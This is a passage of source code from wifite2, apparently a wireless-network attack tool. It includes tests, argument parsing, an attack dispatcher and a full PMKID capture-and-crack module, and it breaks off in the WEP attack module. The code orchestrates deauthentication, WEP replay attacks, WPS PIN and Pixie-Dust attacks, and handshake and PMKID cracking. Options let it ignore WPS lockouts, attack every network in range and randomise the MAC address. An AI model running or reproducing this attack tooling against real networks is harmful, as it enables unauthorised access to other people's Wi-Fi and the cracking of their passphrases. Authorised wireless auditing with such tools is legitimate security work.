        hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
        hs.divine_bssid_and_essid()
        assert(len(hs.cowpatty_handshakes()) > 0)

    @unittest.skipUnless(Process.exists('aircrack-ng'), 'aircrack-ng is missing')
    def testHandshakeAircrack(self):
        hs_file = self.getFile('handshake_exists.cap')
        hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
        assert(len(hs.aircrack_handshakes()) > 0)


if __name__ == '__main__':
    unittest.main()



================================================
FILE: tests/test_Target.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from wifite.tools.airodump import Airodump

import unittest

class TestTarget(unittest.TestCase):
    ''' Test suite for Target parsing an generation '''

    airodump_csv = 'airodump.csv'

    def getTargets(self, filename):
        ''' Helper method to parse targets from filename '''
        import os, inspect
        this_file = os.path.abspath(inspect.getsourcefile(TestTarget.getTargets))
        this_dir = os.path.dirname(this_file)
        csv_file = os.path.join(this_dir, 'files', filename)
        # Load targets from CSV file
        return Airodump.get_targets_from_csv(csv_file)

    def testTargetParsing(self):
        ''' Asserts target parsing finds targets '''
        targets = self.getTargets(TestTarget.airodump_csv)
        assert(len(targets) > 0)

    def testTargetClients(self):
        ''' Asserts target parsing captures clients properly '''
        targets = self.getTargets(TestTarget.airodump_csv)
        for t in targets:
            if t.bssid == '00:1D:D5:9B:11:00':
                assert(len(t.clients) > 0)

if __name__ == '__main__':
    unittest.main()


================================================
FILE: wifite/__init__.py
================================================


================================================
FILE: wifite/__main__.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

try:
    from .config import Configuration
except (ValueError, ImportError) as e:
    raise Exception('You may need to run wifite from the root directory (which includes README.md)', e)

from .util.color import Color

import os
import sys


class Wifite(object):

    def __init__(self):
        '''
        Initializes Wifite. Checks for root permissions and ensures dependencies are installed.
        '''

        self.print_banner()

        Configuration.initialize(load_interface=False)

        if os.getuid() != 0:
            Color.pl('{!} {R}error: {O}wifite{R} must be run as {O}root{W}')
            Color.pl('{!} {R}re-run with {O}sudo{W}')
            Configuration.exit_gracefully(0)

        from .tools.dependency import Dependency
        Dependency.run_dependency_check()


    def start(self):
        '''
        Starts target-scan + attack loop, or launches utilities dpeending on user input.
        '''
        from .model.result import CrackResult
        from .model.handshake import Handshake
        from .util.crack import CrackHelper

        if Configuration.show_cracked:
            CrackResult.display()

        elif Configuration.check_handshake:
            Handshake.check()

        elif Configuration.crack_handshake:
            CrackHelper.run()

        else:
            Configuration.get_monitor_mode_interface()
            self.scan_and_attack()


    def print_banner(self):
        '''Displays ASCII art of the highest caliber.'''
        Color.pl(r' {G}  .     {GR}{D}     {W}{G}     .    {W}')
        Color.pl(r' {G}.´  ·  .{GR}{D}     {W}{G}.  ·  `.  {G}wifite {D}%s{W}' % Configuration.version)
        Color.pl(r' {G}:  :  : {GR}{D} (¯) {W}{G} :  :  :  {W}{D}automated wireless auditor{W}')
        Color.pl(r' {G}`.  ·  `{GR}{D} /¯\ {W}{G}´  ·  .´  {C}{D}https://github.com/derv82/wifite2{W}')
        Color.pl(r' {G}  `     {GR}{D}/¯¯¯\{W}{G}     ´    {W}')
        Color.pl('')


    def scan_and_attack(self):
        '''
        1) Scans for targets, asks user to select targets
        2) Attacks each target
        '''
        from .util.scanner import Scanner
        from .attack.all import AttackAll

        Color.pl('')

        # Scan
        s = Scanner()
        targets = s.select_targets()

        # Attack
        attacked_targets = AttackAll.attack_multiple(targets)

        Color.pl('{+} Finished attacking {C}%d{W} target(s), exiting' % attacked_targets)


##############################################################


def entry_point():
    try:
        wifite = Wifite()
        wifite.start()
    except Exception as e:
        Color.pexception(e)
        Color.pl('\n{!} {R}Exiting{W}\n')

    except KeyboardInterrupt:
        Color.pl('\n{!} {O}Interrupted, Shutting down...{W}')

    Configuration.exit_gracefully(0)


if __name__ == '__main__':
    entry_point()


================================================
FILE: wifite/args.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from .util.color import Color

import argparse, sys

class Arguments(object):
    ''' Holds arguments used by the Wifite '''

    def __init__(self, configuration):
        # Hack: Check for -v before parsing args; so we know which commands to display.
        self.verbose = '-v' in sys.argv or '-hv' in sys.argv or '-vh' in sys.argv
        self.config = configuration
        self.args = self.get_arguments()

    def _verbose(self, msg):
        if self.verbose:
            return Color.s(msg)
        else:
            return argparse.SUPPRESS

    def get_arguments(self):
        ''' Returns parser.args() containing all program arguments '''

        parser = argparse.ArgumentParser(usage=argparse.SUPPRESS,
                formatter_class=lambda prog: argparse.HelpFormatter(
                    prog, max_help_position=80, width=130))

        self._add_global_args(parser.add_argument_group(Color.s('{C}SETTINGS{W}')))
        self._add_wep_args(parser.add_argument_group(Color.s('{C}WEP{W}')))
        self._add_wpa_args(parser.add_argument_group(Color.s('{C}WPA{W}')))
        self._add_wps_args(parser.add_argument_group(Color.s('{C}WPS{W}')))
        self._add_pmkid_args(parser.add_argument_group(Color.s('{C}PMKID{W}')))
        self._add_eviltwin_args(parser.add_argument_group(Color.s('{C}EVIL TWIN{W}')))
        self._add_command_args(parser.add_argument_group(Color.s('{C}COMMANDS{W}')))

        return parser.parse_args()


    def _add_global_args(self, glob):
        glob.add_argument('-v',
            '--verbose',
            action='count',
            default=0,
            dest='verbose',
            help=Color.s('Shows more options ({C}-h -v{W}). Prints commands and ' +
                'outputs. (default: {G}quiet{W})'))

        glob.add_argument('-i',
            action='store',
            dest='interface',
            metavar='[interface]',
            type=str,
            help=Color.s('Wireless interface to use, e.g. {C}wlan0mon{W} ' +
                '(default: {G}ask{W})'))

        glob.add_argument('-c',
            action='store',
            dest='channel',
            metavar='[channel]',
            type=int,
            help=Color.s('Wireless channel to scan (default: {G}all 2Ghz channels{W})'))
        glob.add_argument('--channel', help=argparse.SUPPRESS, action='store',
                dest='channel', type=int)

        glob.add_argument('-5',
            '--5ghz',
            action='store_true',
            dest='five_ghz',
            help=self._verbose('Include 5Ghz channels (default: {G}off{W})'))


        glob.add_argument('-mac',
            '--random-mac',
            action='store_true',
            dest='random_mac',
            help=Color.s('Randomize wireless card MAC address (default: {G}off{W})'))

        glob.add_argument('-p',
            action='store',
            dest='scan_time',
            nargs='?',
            const=10,
            metavar='scan_time',
            type=int,
            help=Color.s('{G}Pillage{W}: Attack all targets after ' +
                '{C}scan_time{W} (seconds)'))
        glob.add_argument('--pillage', help=argparse.SUPPRESS, action='store',
                dest='scan_time', nargs='?', const=10, type=int)

        glob.add_argument('--kill',
            action='store_true',
            dest='kill_conflicting_processes',
            help=Color.s('Kill processes that conflict with Airmon/Airodump ' +
                '(default: {G}off{W})'))

        glob.add_argument('-b',
            action='store',
            dest='target_bssid',
            metavar='[bssid]',
            type=str,
            help=self._verbose('BSSID (e.g. {GR}AA:BB:CC:DD:EE:FF{W}) of access ' +
                'point to attack'))
        glob.add_argument('--bssid', help=argparse.SUPPRESS, action='store',
                dest='target_bssid', type=str)

        glob.add_argument('-e',
            action='store',
            dest='target_essid',
            metavar='[essid]',
            type=str,
            help=self._verbose('ESSID (e.g. {GR}NETGEAR07{W}) of access point to attack'))
        glob.add_argument('--essid', help=argparse.SUPPRESS, action='store',
                dest='target_essid', type=str)

        glob.add_argument('-E',
            action='store',
            dest='ignore_essid',
            metavar='[text]',
            type=str,
            default=None,
            help=self._verbose('Hides targets with ESSIDs that match the given text'))
        glob.add_argument('--ignore-essid', help=argparse.SUPPRESS, action='store',
                dest='ignore_essid', type=str)

        glob.add_argument('--clients-only',
            action='store_true',
            dest='clients_only',
            help=Color.s('Only show targets that have associated clients ' +
                '(default: {G}off{W})'))

        glob.add_argument('--showb',
            action='store_true',
            dest='show_bssids',
            help=self._verbose('Show BSSIDs of targets while scanning'))

        glob.add_argument('--nodeauths',
            action='store_true',
            dest='no_deauth',
            help=Color.s('Passive mode: Never deauthenticates clients ' +
                '(default: {G}deauth targets{W})'))
        glob.add_argument('--no-deauths', action='store_true', dest='no_deauth',
                help=argparse.SUPPRESS)
        glob.add_argument('-nd',          action='store_true', dest='no_deauth',
                help=argparse.SUPPRESS)

        glob.add_argument('--num-deauths',
            action='store',
            type=int,
            dest='num_deauths',
            metavar='[num]',
            default=None,
            help=self._verbose('Number of deauth packets to send (default: ' +
                '{G}%d{W})' % self.config.num_deauths))


    def _add_eviltwin_args(self, group):
        pass
        '''
        group.add_argument('--eviltwin',
            action='store_true',
            dest='use_eviltwin',
            help=Color.s('Use the "Evil Twin" attack against all targets ' +
                '(default: {G}off{W})'))
        # TODO: Args to specify deauth interface, server port, etc.
        '''


    def _add_wep_args(self, wep):
        # WEP
        wep.add_argument('--wep',
            action='store_true',
            dest='wep_filter',
            help=Color.s('Show only {C}WEP-encrypted networks{W}'))
        wep.add_argument('-wep', help=argparse.SUPPRESS, action='store_true',
                dest='wep_filter')

        wep.add_argument('--require-fakeauth',
            action='store_true',
            dest='require_fakeauth',
            help=Color.s('Fails attacks if {C}fake-auth{W} fails (default: {G}off{W})'))
        wep.add_argument('--nofakeauth', help=argparse.SUPPRESS, action='store_true',
                dest='require_fakeauth')
        wep.add_argument('-nofakeauth', help=argparse.SUPPRESS, action='store_true',
                dest='require_fakeauth')

        wep.add_argument('--keep-ivs',
            action='store_true',
            dest='wep_keep_ivs',
            default=False,
            help=Color.s('Retain .IVS files and reuse when cracking ' +
                '(default: {G}off{W})'))

        wep.add_argument('--pps',
            action='store',
            dest='wep_pps',
            metavar='[pps]',
            type=int,
            help=self._verbose('Packets-per-second to replay (default: ' +
                '{G}%d pps{W})' % self.config.wep_pps))
        wep.add_argument('-pps', help=argparse.SUPPRESS, action='store',
                dest='wep_pps', type=int)

        wep.add_argument('--wept',
            action='store',
            dest='wep_timeout',
            metavar='[seconds]',
            type=int,
            help=self._verbose('Seconds to wait before failing (default: ' +
                '{G}%d sec{W})' % self.config.wep_timeout))
        wep.add_argument('-wept', help=argparse.SUPPRESS, action='store',
                dest='wep_timeout', type=int)

        wep.add_argument('--wepca',
            action='store',
            dest='wep_crack_at_ivs',
            metavar='[ivs]',
            type=int,
            help=self._verbose('Start cracking at this many IVs (default: ' +
                '{G}%d ivs{W})' % self.config.wep_crack_at_ivs))
        wep.add_argument('-wepca', help=argparse.SUPPRESS, action='store',
                dest='wep_crack_at_ivs', type=int)

        wep.add_argument('--weprs',
            action='store',
            dest='wep_restart_stale_ivs',
            metavar='[seconds]',
            type=int,
            help=self._verbose('Restart aireplay if no new IVs appear (default: ' +
                '{G}%d sec{W})' % self.config.wep_restart_stale_ivs))
        wep.add_argument('-weprs', help=argparse.SUPPRESS, action='store',
                dest='wep_restart_stale_ivs', type=int)

        wep.add_argument('--weprc',
            action='store',
            dest='wep_restart_aircrack',
            metavar='[seconds]',
            type=int,
            help=self._verbose('Restart aircrack after this delay (default: ' +
                '{G}%d sec{W})' % self.config.wep_restart_aircrack))
        wep.add_argument('-weprc', help=argparse.SUPPRESS, action='store',
                dest='wep_restart_aircrack', type=int)

        wep.add_argument('--arpreplay',
            action='store_true',
            dest='wep_attack_replay',
            help=self._verbose('Use {C}ARP-replay{W} WEP attack (default: {G}on{W})'))
        wep.add_argument('-arpreplay', help=argparse.SUPPRESS, action='store_true',
                dest='wep_attack_replay')

        wep.add_argument('--fragment',
            action='store_true',
            dest='wep_attack_fragment',
            help=self._verbose('Use {C}fragmentation{W} WEP attack (default: {G}on{W})'))
        wep.add_argument('-fragment', help=argparse.SUPPRESS, action='store_true',
                dest='wep_attack_fragment')

        wep.add_argument('--chopchop',
            action='store_true',
            dest='wep_attack_chopchop',
            help=self._verbose('Use {C}chop-chop{W} WEP attack (default: {G}on{W})'))
        wep.add_argument('-chopchop', help=argparse.SUPPRESS, action='store_true',
                dest='wep_attack_chopchop')

        wep.add_argument('--caffelatte',
            action='store_true',
            dest='wep_attack_caffe',
            help=self._verbose('Use {C}caffe-latte{W} WEP attack (default: {G}on{W})'))
        wep.add_argument('-caffelatte', help=argparse.SUPPRESS, action='store_true',
                dest='wep_attack_caffelatte')

        wep.add_argument('--p0841',
            action='store_true',
            dest='wep_attack_p0841',
            help=self._verbose('Use {C}p0841{W} WEP attack (default: {G}on{W})'))
        wep.add_argument('-p0841', help=argparse.SUPPRESS, action='store_true',
                dest='wep_attack_p0841')

        wep.add_argument('--hirte',
            action='store_true',
            dest='wep_attack_hirte',
            help=self._verbose('Use {C}hirte{W} WEP attack (default: {G}on{W})'))
        wep.add_argument('-hirte', help=argparse.SUPPRESS, action='store_true',
                dest='wep_attack_hirte')


    def _add_wpa_args(self, wpa):
        wpa.add_argument('--wpa',
            action='store_true',
            dest='wpa_filter',
            help=Color.s('Show only {C}WPA-encrypted networks{W} (includes {C}WPS{W})'))
        wpa.add_argument('-wpa', help=argparse.SUPPRESS, action='store_true',
                dest='wpa_filter')

        wpa.add_argument('--hs-dir',
            action='store',
            dest='wpa_handshake_dir',
            metavar='[dir]',
            type=str,
            help=self._verbose('Directory to store handshake files ' +
                '(default: {G}%s{W})' % self.config.wpa_handshake_dir))
        wpa.add_argument('-hs-dir', help=argparse.SUPPRESS, action='store',
                dest='wpa_handshake_dir', type=str)

        wpa.add_argument('--new-hs',
            action='store_true',
            dest='ignore_old_handshakes',
            help=Color.s('Captures new handshakes, ignores existing handshakes ' +
                'in {C}%s{W} (default: {G}off{W})' % self.config.wpa_handshake_dir))

        wpa.add_argument('--dict',
            action='store',
            dest='wordlist',
            metavar='[file]',
            type=str,
            help=Color.s('File containing passwords for cracking (default: {G}%s{W})')
                % self.config.wordlist)

        wpa.add_argument('--wpadt',
            action='store',
            dest='wpa_deauth_timeout',
            metavar='[seconds]',
            type=int,
            help=self._verbose('Time to wait between sending Deauths ' +
                '(default: {G}%d sec{W})' % self.config.wpa_deauth_timeout))
        wpa.add_argument('-wpadt', help=argparse.SUPPRESS, action='store',
                dest='wpa_deauth_timeout', type=int)

        wpa.add_argument('--wpat',
            action='store',
            dest='wpa_attack_timeout',
            metavar='[seconds]',
            type=int,
            help=self._verbose('Time to wait before failing WPA attack ' +
                '(default: {G}%d sec{W})' % self.config.wpa_attack_timeout))
        wpa.add_argument('-wpat', help=argparse.SUPPRESS, action='store',
                dest='wpa_attack_timeout', type=int)

        # TODO: Uncomment the --strip option once it works
        '''
        wpa.add_argument('--strip',
            action='store_true',
            dest='wpa_strip_handshake',
            default=False,
            help=Color.s('Strip unnecessary packets from handshake capture using tshark'))
        '''
        wpa.add_argument('-strip', help=argparse.SUPPRESS, action='store_true',
                dest='wpa_strip_handshake')


    def _add_wps_args(self, wps):
        wps.add_argument('--wps',
            action='store_true',
            dest='wps_filter',
            help=Color.s('Show only {C}WPS-enabled networks{W}'))
        wps.add_argument('-wps', help=argparse.SUPPRESS, action='store_true',
                dest='wps_filter')

        wps.add_argument('--no-wps',
            action='store_true',
            dest='no_wps',
            help=self._verbose('{O}Never{W} use {O}WPS PIN{W} & {O}Pixie-Dust{W}' +
                'attacks on targets (default: {G}off{W})'))

        wps.add_argument('--wps-only',
            action='store_true',
            dest='wps_only',
            help=Color.s('{O}Only{W} use {C}WPS PIN{W} & {C}Pixie-Dust{W} ' +
                'attacks (default: {G}off{W})'))

        wps.add_argument('--pixie',    action='store_true', dest='wps_pixie',
            help=self._verbose('{O}Only{W} use {C}WPS Pixie-Dust{W} attack ' +
                '(do not use {O}PIN attack{W})'))

        wps.add_argument('--no-pixie', action='store_true', dest='wps_no_pixie',
            help=self._verbose('{O}Never{W} use {O}WPS Pixie-Dust{W} attack ' +
                '(use {G}PIN attack{W})'))

        wps.add_argument('--bully',
            action='store_true',
            dest='use_bully',
            help=Color.s('Use {G}bully{W} program for WPS PIN & Pixie-Dust attacks ' +
                '(default: {G}reaver{W})'))
        # Alias
        wps.add_argument('-bully', help=argparse.SUPPRESS, action='store_true',
                dest='use_bully')

        # Ignore lock-outs
        wps.add_argument('--ignore-locks', action='store_true', dest='wps_ignore_lock',
            help=Color.s('Do {O}not{W} stop WPS PIN attack if AP becomes {O}locked{W} ' +
                ' (default: {G}stop{W})'))

        # Time limit on entire attack.
        wps.add_argument('--wps-time',
            action='store',
            dest='wps_pixie_timeout',
            metavar='[sec]',
            type=int,
            help=self._verbose('Total time to wait before failing PixieDust attack ' +
                '(default: {G}%d sec{W})' % self.config.wps_pixie_timeout))
        # Alias
        wps.add_argument('-wpst', help=argparse.SUPPRESS, action='store',
                dest='wps_pixie_timeout', type=int)

        # Maximum number of 'failures' (WPSFail)
        wps.add_argument('--wps-fails',
            action='store',
            dest='wps_fail_threshold',
            metavar='[num]',
            type=int,
            help=self._verbose('Maximum number of WPSFail/NoAssoc errors before ' +
                'failing (default: {G}%d{W})' % self.config.wps_fail_threshold))
        # Alias
        wps.add_argument('-wpsf', help=argparse.SUPPRESS, action='store',
                dest='wps_fail_threshold', type=int)

        # Maximum number of 'timeouts'
        wps.add_argument('--wps-timeouts',
            action='store',
            dest='wps_timeout_threshold',
            metavar='[num]',
            type=int,
            help=self._verbose('Maximum number of Timeouts before failing ' +
                '(default: {G}%d{W})' % self.config.wps_timeout_threshold))
        # Alias
        wps.add_argument('-wpsto', help=argparse.SUPPRESS, action='store',
                dest='wps_timeout_threshold', type=int)

    def _add_pmkid_args(self, pmkid):
        pmkid.add_argument('--pmkid',
                         action='store_true',
                         dest='use_pmkid_only',
                         help=Color.s('{O}Only{W} use {C}PMKID capture{W}, avoids other WPS & ' +
                                      'WPA attacks (default: {G}off{W})'))
        # Alias
        pmkid.add_argument('-pmkid', help=argparse.SUPPRESS, action='store_true', dest='use_pmkid_only')

        pmkid.add_argument('--pmkid-timeout',
                         action='store',
                         dest='pmkid_timeout',
                         metavar='[sec]',
                         type=int,
                         help=Color.s('Time to wait for PMKID capture ' +
                                      '(default: {G}%d{W} seconds)' % self.config.pmkid_timeout))

    def _add_command_args(self, commands):
        commands.add_argument('--cracked',
            action='store_true',
            dest='cracked',
            help=Color.s('Print previously-cracked access points'))
        commands.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true',
                dest='cracked')

        commands.add_argument('--check',
            action='store',
            metavar='file',
            nargs='?',
            const='<all>',
            dest='check_handshake',
            help=Color.s('Check a {C}.cap file{W} (or all {C}hs/*.cap{W} files) ' +
                'for WPA handshakes'))
        commands.add_argument('-check', help=argparse.SUPPRESS, action='store',
                nargs='?', const='<all>', dest='check_handshake')

        commands.add_argument('--crack',
            action='store_true',
            dest='crack_handshake',
            help=Color.s('Show commands to crack a captured handshake'))

if __name__ == '__main__':
    from .util.color import Color
    from .config import Configuration
    Configuration.initialize(False)
    a = Arguments(Configuration)
    args = a.args
    for (key,value) in sorted(args.__dict__.items()):
        Color.pl('{C}%s: {G}%s{W}' % (key.ljust(21),value))



================================================
FILE: wifite/attack/__init__.py
================================================


================================================
FILE: wifite/attack/all.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from .wep import AttackWEP
from .wpa import AttackWPA
from .wps import AttackWPS
from .pmkid import AttackPMKID
from ..config import Configuration
from ..util.color import Color

class AttackAll(object):

    @classmethod
    def attack_multiple(cls, targets):
        '''
        Attacks all given `targets` (list[wifite.model.target]) until user interruption.
        Returns: Number of targets that were attacked (int)
        '''
        if any(t.wps for t in targets) and not AttackWPS.can_attack_wps():
            # Warn that WPS attacks are not available.
            Color.pl('{!} {O}Note: WPS attacks are not possible because you do not have {C}reaver{O} nor {C}bully{W}')

        attacked_targets = 0
        targets_remaining = len(targets)
        for index, target in enumerate(targets, start=1):
            attacked_targets += 1
            targets_remaining -= 1

            bssid = target.bssid
            essid = target.essid if target.essid_known else '{O}ESSID unknown{W}'

            Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (index, len(targets)) +
                     ' Starting attacks against {C}%s{W} ({C}%s{W})' % (bssid, essid))

            should_continue = cls.attack_single(target, targets_remaining)
            if not should_continue:
                break

        return attacked_targets

    @classmethod
    def attack_single(cls, target, targets_remaining):
        '''
        Attacks a single `target` (wifite.model.target).
        Returns: True if attacks should continue, False otherwise.
        '''

        attacks = []

        if Configuration.use_eviltwin:
            # TODO: EvilTwin attack
            pass

        elif 'WEP' in target.encryption:
            attacks.append(AttackWEP(target))

        elif 'WPA' in target.encryption:
            # WPA can have multiple attack vectors:

            # WPS
            if not Configuration.use_pmkid_only:
                if target.wps != False and AttackWPS.can_attack_wps():
                    # Pixie-Dust
                    if Configuration.wps_pixie:
                        attacks.append(AttackWPS(target, pixie_dust=True))

                    # PIN attack
                    if Configuration.wps_pin:
                        attacks.append(AttackWPS(target, pixie_dust=False))

            if not Configuration.wps_only:
                # PMKID
                attacks.append(AttackPMKID(target))

                # Handshake capture
                if not Configuration.use_pmkid_only:
                    attacks.append(AttackWPA(target))

        if len(attacks) == 0:
            Color.pl('{!} {R}Error: {O}Unable to attack: no attacks available')
            return True  # Keep attacking other targets (skip)

        while len(attacks) > 0:
            attack = attacks.pop(0)
            try:
                result = attack.run()
                if result:
                    break  # Attack was successful, stop other attacks.
            except Exception as e:
                Color.pexception(e)
                continue
            except KeyboardInterrupt:
                Color.pl('\n{!} {O}Interrupted{W}\n')
                answer = cls.user_wants_to_continue(targets_remaining, len(attacks))
                if answer is True:
                    continue  # Keep attacking the same target (continue)
                elif answer is None:
                    return True  # Keep attacking other targets (skip)
                else:
                    return False  # Stop all attacks (exit)

        if attack.success:
            attack.crack_result.save()

        return True  # Keep attacking other targets


    @classmethod
    def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0):
        '''
        Asks user if attacks should continue onto other targets
        Returns:
            True if user wants to continue, False otherwise.
        '''
        if attacks_remaining == 0 and targets_remaining == 0:
            return  # No targets or attacksleft, drop out

        prompt_list = []
        if attacks_remaining > 0:
            prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining))
        if targets_remaining > 0:
            prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining))
        prompt = ' and '.join(prompt_list) + ' remain'
        Color.pl('{+} %s' % prompt)

        prompt = '{+} Do you want to'
        options = '('

        if attacks_remaining > 0:
            prompt += ' {G}continue{W} attacking,'
            options += '{G}C{W}{D}, {W}'

        if targets_remaining > 0:
            prompt += ' {O}skip{W} to the next target,'
            options += '{O}s{W}{D}, {W}'

        options += '{R}e{W})'
        prompt += ' or {R}exit{W} %s? {C}' % options

        from ..util.input import raw_input
        answer = raw_input(Color.s(prompt)).lower()

        if answer.startswith('s'):
            return None  # Skip
        elif answer.startswith('e'):
            return False  # Exit
        else:
            return True  # Continue



================================================
FILE: wifite/attack/pmkid.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from ..model.attack import Attack
from ..config import Configuration
from ..tools.hashcat import HcxDumpTool, HcxPcapTool, Hashcat
from ..util.color import Color
from ..util.timer import Timer
from ..model.pmkid_result import CrackResultPMKID

from threading import Thread
import os
import time
import re


class AttackPMKID(Attack):

    def __init__(self, target):
        super(AttackPMKID, self).__init__(target)
        self.crack_result = None
        self.success = False
        self.pcapng_file = Configuration.temp('pmkid.pcapng')


    def get_existing_pmkid_file(self, bssid):
        '''
        Load PMKID Hash from a previously-captured hash in ./hs/
        Returns:
            The hashcat hash (hash*bssid*station*essid) if found.
            None if not found.
        '''
        if not os.path.exists(Configuration.wpa_handshake_dir):
            return None

        bssid = bssid.lower().replace(':', '')

        file_re = re.compile('.*pmkid_.*\.16800')
        for filename in os.listdir(Configuration.wpa_handshake_dir):
            pmkid_filename = os.path.join(Configuration.wpa_handshake_dir, filename)
            if not os.path.isfile(pmkid_filename):
                continue
            if not re.match(file_re, pmkid_filename):
                continue

            with open(pmkid_filename, 'r') as pmkid_handle:
                pmkid_hash = pmkid_handle.read().strip()
                if pmkid_hash.count('*') < 3:
                    continue
                existing_bssid = pmkid_hash.split('*')[1].lower().replace(':', '')
                if existing_bssid == bssid:
                    return pmkid_filename
        return None


    def run(self):
        '''
        Performs PMKID attack, if possible.
            1) Captures PMKID hash (or re-uses existing hash if found).
            2) Cracks the hash.

        Returns:
            True if handshake is captured. False otherwise.
        '''
        from ..util.process import Process
        # Check that we have all hashcat programs
        dependencies = [
            Hashcat.dependency_name,
            HcxDumpTool.dependency_name,
            HcxPcapTool.dependency_name
        ]
        missing_deps = [dep for dep in dependencies if not Process.exists(dep)]
        if len(missing_deps) > 0:
            Color.pl('{!} Skipping PMKID attack, missing required tools: {O}%s{W}' % ', '.join(missing_deps))
            return False

        pmkid_file = None

        if Configuration.ignore_old_handshakes == False:
            # Load exisitng PMKID hash from filesystem
            pmkid_file = self.get_existing_pmkid_file(self.target.bssid)
            if pmkid_file is not None:
                Color.pattack('PMKID', self.target, 'CAPTURE',
                        'Loaded {C}existing{W} PMKID hash: {C}%s{W}\n' % pmkid_file)

        if pmkid_file is None:
            # Capture hash from live target.
            pmkid_file = self.capture_pmkid()

        if pmkid_file is None:
            return False  # No hash found.

        # Crack it.
        try:
            self.success = self.crack_pmkid_file(pmkid_file)
        except KeyboardInterrupt:
            Color.pl('\n{!} {R}Failed to crack PMKID: {O}Cracking interrupted by user{W}')
            self.success = False
            return False

        return True  # Even if we don't crack it, capturing a PMKID is 'successful'


    def capture_pmkid(self):
        '''
        Runs hashcat's hcxpcaptool to extract PMKID hash from the .pcapng file.
        Returns:
            The PMKID hash (str) if found, otherwise None.
        '''
        self.keep_capturing = True
        self.timer = Timer(Configuration.pmkid_timeout)

        # Start hcxdumptool
        t = Thread(target=self.dumptool_thread)
        t.start()

        # Repeatedly run pcaptool & check output for hash for self.target.essid
        pmkid_hash = None
        pcaptool = HcxPcapTool(self.target)
        while self.timer.remaining() > 0:
            pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file)
            if pmkid_hash is not None:
                break  # Got PMKID

            Color.pattack('PMKID', self.target, 'CAPTURE',
                    'Waiting for PMKID ({C}%s{W})' % str(self.timer))
            time.sleep(1)

        self.keep_capturing = False

        if pmkid_hash is None:
            Color.pattack('PMKID', self.target, 'CAPTURE',
                    '{R}Failed{O} to capture PMKID\n')
            Color.pl('')
            return None  # No hash found.

        Color.clear_entire_line()
        Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}')
        pmkid_file = self.save_pmkid(pmkid_hash)
        return pmkid_file


    def crack_pmkid_file(self, pmkid_file):
        '''
        Runs hashcat containing PMKID hash (*.16800).
        If cracked, saves results in self.crack_result
        Returns:
            True if cracked, False otherwise.
        '''

        # Check that wordlist exists before cracking.
        if Configuration.wordlist is None:
            Color.pl('\n{!} {O}Not cracking PMKID ' +
                    'because there is no {R}wordlist{O} (re-run with {C}--dict{O})')

            # TODO: Uncomment once --crack is updated to support recracking PMKIDs.
            #Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.')

            key = None
        else:
            Color.clear_entire_line()
            Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID using {C}%s{W} ...\n' % Configuration.wordlist)
            key = Hashcat.crack_pmkid(pmkid_file)

        if key is None:
            # Failed to crack.
            if Configuration.wordlist is not None:
                Color.clear_entire_line()
                Color.pattack('PMKID', self.target, '{R}CRACK',
                        '{R}Failed {O}Passphrase not found in dictionary.\n')
            return False
        else:
            # Successfully cracked.
            Color.clear_entire_line()
            Color.pattack('PMKID', self.target, 'CRACKED', '{C}Key: {G}%s{W}' % key)
            self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid,
                    pmkid_file, key)
            Color.pl('\n')
            self.crack_result.dump()
            return True


    def dumptool_thread(self):
        '''Runs hashcat's hcxdumptool until it dies or `keep_capturing == False`'''
        dumptool = HcxDumpTool(self.target, self.pcapng_file)

        # Let the dump tool run until we have the hash.
        while self.keep_capturing and dumptool.poll() is None:
            time.sleep(0.5)

        dumptool.interrupt()


    def save_pmkid(self, pmkid_hash):
        '''Saves a copy of the pmkid (handshake) to hs/ directory.'''
        # Create handshake dir
        if not os.path.exists(Configuration.wpa_handshake_dir):
            os.makedirs(Configuration.wpa_handshake_dir)

        # Generate filesystem-safe filename from bssid, essid and date
        essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid)
        bssid_safe = self.target.bssid.replace(':', '-')
        date = time.strftime('%Y-%m-%dT%H-%M-%S')
        pmkid_file = 'pmkid_%s_%s_%s.16800' % (essid_safe, bssid_safe, date)
        pmkid_file = os.path.join(Configuration.wpa_handshake_dir, pmkid_file)

        Color.p('\n{+} Saving copy of {C}PMKID Hash{W} to {C}%s{W} ' % pmkid_file)
        with open(pmkid_file, 'w') as pmkid_handle:
            pmkid_handle.write(pmkid_hash)
            pmkid_handle.write('\n')

        return pmkid_file



================================================
FILE: wifite/attack/wep.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from ..model.attack import Attack
from ..tools.airodump import Airodump
from ..tools.aireplay import Aireplay, WEPAttackType
from ..tools.aircrack import Aircrack
from ..tools.ifconfig import Ifconfig
from ..config import Configuration
from ..util.color import Color
from ..util.input import raw_input
from ..model.wep_result import CrackResultWEP

import time

class AttackWEP(Attack):
    '''
        Contains logic for attacking a WEP-encrypted access point.
    '''

    fakeauth_wait = 5  # TODO: Configuration?

    def __init__(self, target):
        super(AttackWEP, self).__init__(target)
        self.crack_result = None
        self.success = False

    def run(self):
        '''
            Initiates full WEP attack.
            Including airodump-ng starting, cracking, etc.
            Returns: True if attack is successful, false otherwise
        '''

        aircrack = None # Aircrack process, not started yet
        fakeauth_proc = None
        replay_file = None
        airodump_target = None

        previous_ivs = 0
        current_ivs = 0
        total_ivs = 0
        keep_ivs = Configuration.wep_keep_ivs

        # Clean up previous WEP sessions
        if keep_ivs:
            Airodump.delete_airodump_temp_files('wep')

        attacks_remaining = list(Configuration.wep_attacks)
        while len(attacks_remaining) > 0:
            attack_name = attacks_remaining.pop(0)
            # BIG try-catch to capture ctrl+c
            try:
                # Start Airodump process
                with Airodump(channel=self.target.channel,
